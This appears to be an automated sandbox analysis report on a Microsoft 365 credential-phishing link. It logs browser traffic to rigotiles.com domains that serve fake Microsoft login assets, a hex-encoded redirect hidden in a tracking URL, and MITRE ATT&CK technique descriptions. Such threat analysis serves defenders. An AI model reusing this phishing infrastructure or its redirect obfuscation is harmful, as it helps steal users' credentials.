2024-10-31 20:55:26 UTC	693	IN	Data Raw: 72 69 6e 67 69 66 79 28 53 29 2c 74 29 7d 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 53 3d 22 70 72 6f 64 22 2c 6c 3d 22 22 2c 70 3d 22 22 2c 67 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 69 67 6e 65 64 49 6e 54 6f 49 44 50 3a 32 2c 52 65 6d 65 6d 62 65 72 65 64 3a 33 7d 2c 75 3d 7b 4e 6f 6e 65 3a 30 2c 49 73 57 69 6e 64 6f 77 73 53 73 6f 3a 31 7d 2c 66 3d 7b 64 65 76 3a 5b 6c 2c 70 5d 2c 22 69 6e 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 77 69 6e 64 6f 77 73 2d 70 70 65 2e 6e 65 74 22 5d 2c 70 72 6f 64 3a 5b 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 Data Ascii: ringify(S),t)}var c=window,S="prod",l="",p="",g={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},f={dev:[l,p],"int":["https://login.windows-ppe.net"],prod:["https://mail.rigotiles.com","https://login.microsoft.com","https://d
2024-10-31 20:55:26 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2
2024-10-31 20:55:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	51059	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:26 UTC	542	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:26 UTC	1217	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:26 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F47E260FD Last-Modified: Wed, 24 May 2023 10:11:46 GMT X-Azure-Ref: 20241029T162005Z-17d9cd8886fksq8kgb8tzt0abg000000063g00000000aawr X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 9ae3dc88-a01e-002f-0e3c-26ce9d000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189321 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ExPqGxaXDRmUjrsoQPAnxnRteg%2BJZRcnQ9V7TeUxRo4Lp46XtEkl7yGaw17YZyuaZNtgg0iNNhhox2rqcL3bPOzeXCKSDA6cPO7ALZJlK5aWwE27cqjM5%2BgJ1VwKU67pzCgtHPGF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bc41ca60b82-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:26 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 35 35 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 38 37 32 30 31 30 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 61 36 61 34 32 34 32 30 66 65 38 39 35 38 36 26 74 73 3d 31 35 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1555&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1120&delivery_rate=1872010&cwnd=251&unsent_bytes=0&cid=4a6a42420fe89586&ts=151&x=0"
2024-10-31 20:55:26 UTC	1330	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-10-31 20:55:26 UTC	541	IN	Data Raw: 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 35 34 38 2e 36 20 39 35 32 2e 38 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 39 33 32 2e 34 20 31 31 34 34 2e 32 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 62 39 30 30 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 37 35 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 2f 3e 3c 2f 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 44 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 Data Ascii: entTransform="translate(1548.6 952.8) rotate(90) scale(932.4 1144.2)"><stop stop-color="#ffb900" stop-opacity=".75"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><radialGradient id="D" cx="0" cy="0" r="1" gradientUnits="userSpa
2024-10-31 20:55:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	51060	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:26 UTC	1469	OUT	GET /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:26 UTC	1234	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:26 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:26 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - WUS3 ProdSlices X-Ms-Request-Id: 0e5f15f6-56e3-4000-9847-518d6e212a00 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bc5aba6284b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1334&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2047&delivery_rate=2086455&cwnd=229&unsent_bytes=0&cid=04e51fdac09a067b&ts=349&x=0"
2024-10-31 20:55:26 UTC	135	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 37 63 66 37 39 36 33 64 2d 61 38 38 35 2d 34 65 33 37 2d 61 33 35 38 2d 63 33 38 30 34 61 62 39 64 63 62 31 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 20 32 30 3a 35 Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"7cf7963d-a885-4e37-a358-c3804ab9dcb1","timestamp":"2024-10-31 20:5
2024-10-31 20:55:26 UTC	35	IN	Data Raw: 35 3a 32 36 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: 5:26Z","message":"AADSTS900561"}}
2024-10-31 20:55:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.16	51061	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:26 UTC	543	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:26 UTC	1223	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:26 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F4911527F Last-Modified: Wed, 24 May 2023 10:11:48 GMT X-Azure-Ref: 20241029T162005Z-17d9cd8886fksq8kgb8tzt0abg000000063g00000000aawn X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: c195ea8d-401e-002f-4cab-26b922000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189321 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rAzdQnaJsAN0E7mNXdDtE8vzGqTkF9iAs%2FK5c7m6Zx0uTVJstpWxKjwpUSDC0AHrMFEiJ5qG7Prk%2FZP21myclqKrttw5zby0r%2FAkWuKP5YHGBUDb%2FV%2FJrKdCKHGq8yZVtgBdrkVs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bc60f672cc8-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:26 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 34 33 32 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 32 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 39 31 39 31 35 31 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 31 62 37 31 37 34 37 37 32 64 36 62 31 35 38 26 74 73 3d 31 35 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1432&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1121&delivery_rate=1919151&cwnd=251&unsent_bytes=0&cid=d1b7174772d6b158&ts=158&x=0"
2024-10-31 20:55:26 UTC	1324	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-10-31 20:55:26 UTC	1369	IN	Data Raw: 30 2c 30 2c 31 2d 31 2e 33 38 36 2c 33 2e 38 33 2c 35 2e 30 31 39 2c 35 2e 30 31 39 2c 30 2c 30 2c 31 2d 33 2e 37 37 32 2c 31 2e 34 32 34 2c 34 2e 39 33 35 2c 34 2e 39 33 35 2c 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 Data Ascii: 0,0,1-1.386,3.83,5.019,5.019,0,0,1-3.772,1.424,4.935,4.935,0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2
2024-10-31 20:55:26 UTC	965	IN	Data Raw: 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 2d 2e 38 31 33 2c 32 2e 34 33 39 2c 32 2e 34 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 31 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 Data Ascii: 25,3.651,3.651,0,0,0-.688-2.411,2.39,2.39,0,0,0-1.93-.813,2.439,2.439,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043
2024-10-31 20:55:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.16	51064	35.190.80.1	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:55 UTC	540	OUT	OPTIONS /report/v4?s=ctuXg0CF%2FmAcRHMKXW664gMZvvIPm5eQQ5smhIGrVczEx2QIzScsyeEM4XNiU12AjL0Ag42dHxzewCZurKVysJlYEq0FxJa159Sxh48%2BC0v7eor7oo0SGEtlLDbxdQUclbv791sN HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://vn3hg.rigotiles.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:55 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 31 Oct 2024 20:55:54 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	51066	35.190.80.1	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:56 UTC	479	OUT	POST /report/v4?s=ctuXg0CF%2FmAcRHMKXW664gMZvvIPm5eQQ5smhIGrVczEx2QIzScsyeEM4XNiU12AjL0Ag42dHxzewCZurKVysJlYEq0FxJa159Sxh48%2BC0v7eor7oo0SGEtlLDbxdQUclbv791sN HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 3466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:56 UTC	3466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 37 31 34 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 38 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 Data Ascii: [{"age":37146,"body":{"elapsed_time":1584,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://mail.rigotiles.com/","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":200,"type":"abandoned"},"type":"network-error","
2024-10-31 20:55:56 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 31 Oct 2024 20:55:55 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	16:54:44
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	16:54:45
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1952,i,4673534725158447727,11309025112400644165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:54:46
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
